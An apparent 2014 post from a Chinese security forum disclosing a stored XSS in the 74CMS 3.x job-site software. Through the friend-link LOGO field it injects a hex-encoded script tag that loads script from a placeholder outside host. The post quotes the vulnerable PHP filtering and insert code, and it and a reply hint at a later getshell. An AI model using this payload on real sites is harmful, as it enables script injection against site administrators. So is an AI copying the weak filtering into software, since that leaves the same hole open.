查看: 12426|回复: 1

骑士人才(74CMS)3.X通杀XSS

[复制链接]
  • TA的每日心情

    5 天前
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2014-3-21 00:30:20 | 显示全部楼层 |阅读模式
    这个XSS好像是从12年3.1开始就存在的吧,到现在的3.4还是没有修复。

    漏洞页面:link/add_link.php
    友情链接:LOGO处填写&#x3e;&#x3c;script  src=http://xss地址&#x3e;&#x3c;/script&#x3e;     //将<>进行16进制编码
    add_link.php
    [AppleScript] 纯文本查看 复制代码
    $setsqlarr['link_name']=trim($_POST['link_name'])?trim($_POST['link_name']):showmsg('您没有填写标题!',1);
            $setsqlarr['link_url']=trim($_POST['link_url'])?trim($_POST['link_url']):showmsg('您没有填写链接地址!',1);
            $setsqlarr['link_logo']=trim($_POST['link_logo']);
            $setsqlarr['app_notes']=trim($_POST['app_notes']);
            $setsqlarr['alias']=trim($_POST['alias']);
            $setsqlarr['display']=2;
            $setsqlarr['type_id']=2;
            $link[0]['text'] = "返回网站首页";
            $link[0]['href'] =$_CFG['site_dir'];
            !inserttable(table('link'),$setsqlarr)?showmsg("添加失败!",0):showmsg("添加成功,请等待管理员审核!",2,$link);

    定义数组变量,再看$_POST的定义include/common.inc.php
    [AppleScript] 纯文本查看 复制代码
    if (!empty($_POST))
    {
    $_POST = addslashes_deep($_POST);
    }

    function addslashes_deep()在include/common.fun.php
    [AppleScript] 纯文本查看 复制代码
    function addslashes_deep($value)
    {
        if (empty($value))
        {
            return $value;
        }
        else
        {
            if (!get_magic_quotes_gpc())
            {
            $value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
            }
            else
            {
            $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
            }
            return $value;
        }
    }
    function mystrip_tags($string)
    {
        $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
        $string = strip_tags($string);
        $string = filter_keyword($string);
        return $string;
    }
    function filter_keyword($string)
    { 
        $keyword = 'select|insert|update|delete|/*|*|../|./|union|into|load_file|outfile'; 
        $arr = explode( '|', $keyword ); 
        $result = str_ireplace( $arr, '', $string ); 
        return $result; 
    }

    觉得这段转义过滤神马的好像是网上直接抄的-_-!
    数据库插入数据在common.fun.php的179行
    [AppleScript] 纯文本查看 复制代码
    function inserttable($tablename, $insertsqlarr, $returnid=0, $replace = false, $silent=0) {
            global $db;
            $insertkeysql = $insertvaluesql = $comma = '';
            foreach ($insertsqlarr as $insert_key => $insert_value) {
                    $insertkeysql .= $comma.'`'.$insert_key.'`';
                    $insertvaluesql .= $comma.'\''.$insert_value.'\'';
                    $comma = ', ';
            }
            $method = $replace?'REPLACE':'INSERT';
            $state = $db->query($method." INTO $tablename ($insertkeysql) VALUES ($insertvaluesql)", $silent?'SILENT':'');
            if($returnid && !$replace) {
                    return $db->insert_id();
            }else {
                return $state;
            } 
    }


    具体漏洞形成过程请大牛再分析分析,不敢说太多,我怕会说错,至于GETSHELL应该还是计划任务那里吧,年代久远,忘的七七八八了。

    By:毒药
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2017-1-9 18:10
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-3-21 01:54:49 | 显示全部楼层
    GETSHELL应该很快就要出来
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-18 14:52 , Processed in 0.026023 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部